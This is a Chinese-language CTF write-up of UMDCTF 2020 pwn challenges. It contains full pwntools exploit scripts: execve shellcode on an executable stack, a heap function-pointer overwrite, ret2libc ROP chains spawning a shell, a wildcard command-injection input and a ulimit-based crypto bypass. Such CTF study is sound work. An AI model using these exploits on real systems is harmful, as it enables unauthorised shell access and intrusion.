2

【WriteUp】UMDCTF 2020 -- Pwn 题解

 1 year ago
source link: https://binlep.github.io/2020/04/21/%E3%80%90WriteUp%E3%80%91UMDCTF%20%202020%20--%20Pwn%20%E9%A2%98%E8%A7%A3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

周末将近十场比赛,WriteUp 都写不完,更别说复现题目了……

Easy Right?

Description:

The mitigations have left the room..

nc 142.93.113.134 9999

Author: moogboi


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-80h]

setbuf(stdout, 0LL);
printf("Is this an... executable stack? %llx\n", &s);
fgets(&s, 4919, stdin);
return 0;
}

shellcode 完事

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./baby')
else:
p = remote('142.93.113.134', 9999)


p.recvuntil('stack? ')
addr_stack = int(p.recv(12), 16)
pd = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0"\
"\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f"\
"\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
pd = pd.ljust(0x88, 'a')
pd += p64(addr_stack)
p.sendlineafter('\n', pd)
p.interactive()

Flag:

UMDCTF-{shell_m3_maybe}

Question

Description:

To read or not to read the flag… That is the question!

nc 192.241.138.174 9999

Author: lumpus


Solution:

命令注入题,获得 flag 方式如下:

root@lepPwn:~/clash# nc 192.241.138.174 9999
The flag.txt is here. Try to read it!
> cat ????????
UMDCTF-{s0me_questions_h4ve_answ3rs}

Flag:

UMDCTF-{s0me_questions_h4ve_answ3rs}

Cowspeak as a Service (CaaS)

Description:

lumpus gave up installing cowspeak so he made it a remote service instead! Too bad it keeps overwriting old messages… Can you become chief cow and read the first message?

nc 192.241.138.174 9998

Author: WittsEnd2, lumpus


Solution:

源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void moo(char *msg)
{
char speak[64];
int chief_cow = 1;

strcpy(speak, msg);
speak[strcspn(speak, "\r\n")] = 0;
setenv("MSG", speak, chief_cow);

system("./cowsay $MSG");

}

int main() {
char buf[1024];
setbuf(stdout, NULL);
puts("Welcome to Cowsay as a Service (CaaS)!\n");
puts("Enter your message: \n");

fgets(buf, 1024, stdin);
moo(buf);

return 0;
}

题目没给文件,也没给 system 里面用到的 cowsay 文件,拿到手完全不知道怎么做

之后误打误撞做出来了,字符串长一点就能出来

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

p = remote('192.241.138.174', 9998)
p.sendline('a' * 75)
p.interactive()

Flag:

UMDCTF-{P5Th_Ov3rF10w}

shellcodia1

Description:

Welcome to shellcodia, here is an opportunity to write some custom shellcode to retrieve the flag!

Simply connect, submit your shellcode in binary form, and if you’ve completed the challenge then a flag will return. This first challenge is to return the value 7. Now, a few things to remember, these are x64 machines so don’t think you can sneak by with 32bit shellcode. Additionally, the environment assumes nothing about the shellcode you give it. It’s highly unlikely that if you break the environment, even if you accomplished the goal, you will get the flag.

Submit your shellcode to: 157.245.88.100:7778

Good luck!

Author: quantumite (BlueStar)

(Note: flag is in UMDCTF{} format)


Solution:

shellcode 入门题

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"

pd = asm('''
mov rax, 7
ret
''')

if debug == 1:
p = process('./shellcode_environ')
gdb.attach(p, "b *0x4005ec\nc")
p.sendlineafter('qwwww\n', 'binLep')
p.sendlineafter('emmmm', pd)
else:
p = remote('157.245.88.100', 7778)
p.sendline(pd)
p.interactive()

Flag:

UMDCTF{R_U_@_Tim3_tR@v3ll3r_OR_Ju$t_R3a11y_Sm@rT}

Crypto?

Description:

Hey do you mind debugging my program for me? I didn’t have much time to look it over myself. If you do a good job, I’ll give you a flag.

Download link

nc 192.241.138.174 9997

You’ll be dropped into a shell. Just run ./questionable to do what you need.

Author: johnokeefe


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

源码如下:

#include <stdlib.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/conf.h>
#include <openssl/err.h>

int read_file(char * buffer, FILE *f, int length) {
int i = 0;
char c = 0;

if (f == NULL)
return 1;

for(i = 0; i < length; i++) {
c = fgetc(f);
if (feof(f))
break;
buffer[i] = c;
}

return 0;
}

void handleErrors() {
ERR_print_errors_fp(stderr);
abort();
}

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
unsigned char *iv, unsigned char *ciphertext) {
EVP_CIPHER_CTX *ctx;
int len;
int ciphertext_len;

if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();

if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();

if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
handleErrors();
ciphertext_len = len;

if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len))
handleErrors();
ciphertext_len += len;

EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}

int main(int argc, char * argv[]) {
unsigned char key[32] = {0}, iv[16] = {0}, flag[64] = {0}, ctxt[128] = {0};
FILE *i = NULL, *f = NULL;
int result = 0, clen = 0;

setbuf(stdout, NULL);

f = fopen("flag.txt", "r");
i = fopen("/dev/urandom", "r");

result = read_file(flag, f, 64);
result = read_file(iv, i, 16);

strncpy(key, "HARCODED KEY CAUSE IM LAZY TODAY", 32);
clen = encrypt(flag, strlen(flag), key, iv, ctxt);

printf("Pretty Ciphertext: \n");
BIO_dump_fp (stdout, (const char *)ctxt, clen);

fclose(f);
fclose(i);

return 0;
}

没做出来,后来在 discord 上面询问后才会做,师傅原话如下:

ysf 今天22:56
You win crypto? by setting ulimit -n 6 on the server.
that way /dev/urandom can't be opened and the flag will be encrypted with a known key = <in the file> and a known IV = 0000....
you can decrypt the output with those settings via cyberchef
those two lines took me maybe 5h to find

师傅的意思就是要通过 ulimit 命令限制能打开的文件描述符数量

只要达到能打开题目文件而不能打开 urandom 文件的值的话,就会因为不能访问使 iv 的值变成'\x00' * 16

然后就啥都知道了,直接 aes 解密就完了

我的操作如下:

root@lepPwn:~/Environment/H1ve# nc 192.241.138.174 9997
ls -la
total 2772
drwxr-x--- 1 0 1000 4096 Apr 17 03:13 .
drwxr-x--- 1 0 1000 4096 Apr 17 03:13 ..
-rwxr-x--- 1 0 1000 220 Apr 4 2018 .bash_logout
-rwxr-x--- 1 0 1000 3771 Apr 4 2018 .bashrc
-rwxr-x--- 1 0 1000 807 Apr 4 2018 .profile
drwxr-x--- 1 0 1000 4096 Apr 16 03:19 bin
drwxr-x--- 1 0 1000 4096 Apr 16 03:19 dev
-rwx------ 1 0 0 33 Apr 13 18:46 flag.txt
drwxr-x--- 1 0 1000 4096 Apr 16 03:19 lib
drwxr-x--- 1 0 1000 4096 Apr 16 03:19 lib32
drwxr-x--- 1 0 1000 4096 Apr 16 03:19 lib64
-rwsr-x--- 1 0 1000 2793280 Apr 17 03:11 questionable
ulimit -n 4
./questionable
Pretty Ciphertext:
0000 - b6 fe 8c 31 c5 55 ce cf-0b 6c d3 94 30 9d d7 12 ...1.U...l..0...
0010 - 96 aa 1b 20 cd b1 1b 2e-51 57 2f 33 09 62 3f cf ... ....QW/3.b?.
0020 - ab 6a c0 4f d6 91 91 13-a3 ae ad 64 c8 4a 50 73 .j.O.......d.JPs
/bin/bash: line 3: 19634 Segmentation fault (core dumped) ./questionable
./questionable
Pretty Ciphertext:
0000 - b6 fe 8c 31 c5 55 ce cf-0b 6c d3 94 30 9d d7 12 ...1.U...l..0...
0010 - 96 aa 1b 20 cd b1 1b 2e-51 57 2f 33 09 62 3f cf ... ....QW/3.b?.
0020 - ab 6a c0 4f d6 91 91 13-a3 ae ad 64 c8 4a 50 73 .j.O.......d.JPs
/bin/bash: line 4: 19635 Segmentation fault (core dumped) ./questionable

完全没问题,开心拿到 flag 也学到了新知识

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
import binascii


class prpcrypt():
def __init__(self, key, iv):
self.key = key
self.iv = iv
self.mode = AES.MODE_CBC

def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.iv)
plain_text = cryptor.decrypt(binascii.unhexlify(text))
return plain_text.rstrip('\0')


e = "b6fe8c31c555cecf0b6cd394309dd71296aa1b20cdb11b2e51572f3309623fcfab6ac04fd6919113a3aead64c84a5073"
pc = prpcrypt('HARCODED KEY CAUSE IM LAZY TODAY', '\x00' * 16)
d = pc.decrypt(e)
print d

Flag:

UMDCTF-{n0t_r4nd0m_3N0UGH_f0r_U}

Jump Not Found

Description:

We are trying to make a hyper jump to Naboo, but our system doesn’t know where Naboo is. Can you help us figure out the issue?

nc 192.241.138.174 9996

Author: WittsEnd2


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char **v3; // rsi
__int16 v4; // ax
__int16 v5; // ax
char *endptr; // [rsp+0h] [rbp-20h]
char *nptr; // [rsp+8h] [rbp-18h]
void (__fastcall **v8)(const char *, char **); // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
v3 = 0LL;
setbuf(_bss_start, 0LL);
nptr = malloc(0x42uLL);
v8 = malloc(0x18uLL);
*v8 = jumpToHoth;
v8[1] = jumpToCoruscant;
v8[2] = jumpToEndor;
while ( 1 )
{
while ( 1 )
{
printf("SYSTEM CONSOLE> ", v3);
gets(nptr);
v3 = &endptr;
v4 = strtol(nptr, &endptr, 10);
*(nptr + 0x20) = v4;
v5 = *(nptr + 0x20);
if ( v5 != 2 )
break;
puts("Checking navigation...");
v8[1]("Checking navigation...", &endptr);
}
if ( v5 > 2 )
{
if ( v5 == 3 )
{
puts("Checking navigation...");
v8[2]("Checking navigation...", &endptr);
}
else
{
if ( v5 == 4 )
{
puts("Logging out");
exit(0);
}
LABEL_14:
puts("Check Systems");
puts("1 - Hoth");
puts("2 - Coruscant");
puts("3 - Endor");
puts("4 - Logout");
}
}
else
{
if ( v5 != 1 )
goto LABEL_14;
puts("Checking navigation...");
(*v8)("Checking navigation...", &endptr);
}
}
}

有个后门函数

jumpToNaboo 函数如下:

int jumpToNaboo()
{
return puts("Jumping to Naboo...\n UMDCTF-{ flag on server }");
}

简单的堆溢出利用

后门函数地址带\x0a,在 gets 函数里会被截断,所以要往下取一点

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./JNF')
else:
p = remote('192.241.138.174', 9996)
addr_target = 0x40070E

# gdb.attach(p, "b *0x40079B\nc")
pd = '\x00'
pd = pd.ljust(0x40, 'a')
pd += p64(0) + p64(0x21)
pd += p64(addr_target) * 2
p.sendlineafter('CONSOLE> ', pd)
p.interactive()

Flag:

UMDCTF-{S3tt1ng_C00rd1nat3s_T0_NaBOO}

shellcodia2

Description:

Welcome back to shellcodia! You know the drill. Simply connect, submit your shellcode in binary form, and if you’ve completed the challenge then a flag will return. This challenge requires you to create a file named strange.txt and put the string awesome inside.

Now, a few things to remember, these are x64 machines so don’t think you can sneak by with 32bit shellcode. Additionally, the environment assumes nothing about the shellcode you give it. It’s highly unlikely that if you break the environment, even if you accomplished the goal, you will get the flag.

Submit your shellcode to: 157.245.88.100:7779

Good luck!

Author: quantumite (BlueStar)

(Note: flag is in UMDCTF{} format)


Solution:

写了个 ret2shellcode 的本地程序自测了一下

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"

pd = asm('''
mov rdi, rdx
add rdi, 0x80
mov rsi, 0
mov rax, SYS_creat
syscall

mov rsi, rdi
add rsi, 0x10
mov rdx, 7
mov rdi, rax
mov rax, SYS_write
syscall

ret
''')
pd = pd.ljust(0x80, '\x00')
pd += 'strange.txt'.ljust(0x10, '\x00')
pd += 'awesome'

if debug == 1:
p = process('./shellcode_environ')
gdb.attach(p, "b *0x4005ec\nc")
p.sendlineafter('qwwww\n', 'binLep')
p.sendlineafter('emmmm', pd)
else:
p = remote('157.245.88.100', 7779)
p.sendline(pd)
p.interactive()

Flag:

UMDCTF{uu_rr_ G3tt1nG_g00d_w1tH_Th1s_$h3llc0de_stUff}

Coal Miner

Description:

First to fall over when the atmosphere is less than perfect

Your sensibilities are shaken by the slightest defect

nc 161.35.8.211 9999

Author: moogboi


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-220h]
__int64 s; // [rsp+210h] [rbp-10h]
unsigned __int64 v6; // [rsp+218h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
memset(&v4, 0, 0x208uLL);
s = 0LL;
puts("\nWelcome to the Item Database");
puts("You may choose the commands 'add' or 'print' or 'done'");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
memset(&s, 0, 8uLL);
printf("> ", 0LL);
fgets((char *)&s, 7, stdin);
putchar(10);
if ( strcmp((const char *)&s, "add\n") )
break;
AddItem(&v4, "add\n");
}
if ( strcmp((const char *)&s, "print\n") )
break;
PrintItems(&v4, "print\n");
}
if ( !strcmp((const char *)&s, "done\n") )
break;
puts("Command not recognized");
fflush(stdin);
}
fflush(_bss_start);
return 0;
}

AddItem 函数如下:

unsigned __int64 __fastcall AddItem(__int64 a1)
{
__int64 v1; // ST08_8
unsigned int v2; // ebx
__int64 v4; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v1 = a1;
v5 = __readfsqword(0x28u);
v2 = *(_DWORD *)(a1 + 512);
*(_QWORD *)(16LL * v2 + a1 + 8) = malloc(0x20uLL);
puts("Enter a name: ");
gets(16LL * *(unsigned int *)(v1 + 512) + v1);
puts("Enter a description: ");
gets(&v4);
**(_QWORD **)(16LL * (unsigned int)(*(_DWORD *)(v1 + 512))++ + v1 + 8) = v4;
return __readfsqword(0x28u) ^ v5;
}

PrintItems 函数如下:

unsigned __int64 __fastcall PrintItems(__int64 a1)
{
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; *(_DWORD *)(a1 + 512) > i; ++i )
{
printf("Item %d\n", *(unsigned int *)(a1 + 512));
printf("\t%s\n", 16LL * (signed int)i + a1);
printf("\t%s\n", *(_QWORD *)(16LL * (signed int)i + a1 + 8));
putchar(10);
}
return __readfsqword(0x28u) ^ v3;
}

没啥好说的:ret2libc

PrintItems 函数没啥用,就是远程的 libc 是 debian 的,很强

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./coalminer')
else:
p = remote('161.35.8.211', 9999)
elf = ELF('./coalminer', checksec=False)


def add(name, desc):
p.sendlineafter('> ', 'add')
p.sendlineafter('name: \n', name)
p.sendlineafter('description: \n', desc)

got___stack_chk_fail = elf.got['__stack_chk_fail']
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
rop1 = 0x4009AE
rop2 = 0x0000000000400bec # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
rop3 = 0x0000000000400bf3 # pop rdi ; ret

gdb.attach(p, "b *0x4009C6\nb *0x400a17\nc")
p.sendlineafter('> ', 'add')
p.sendlineafter('name: \n', 'binLep')

pd = p64(rop2)
pd += p64(rop2)
pd += 'a' * 0x20
pd += p64(rop2)
pd += p64(got___stack_chk_fail)
pd += 'a' * 0x18
pd += p64(rop3)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(rop1)
p.sendlineafter('description: \n', pd)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libc = easyLibc('puts', addr_puts, 2)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

pd = 'a' * 0x50
pd += p64(rop3)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('description: \n', pd)
p.interactive()

Flag:

UMDCTF-{i_hop3_you_like_c0al_pres3nts}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK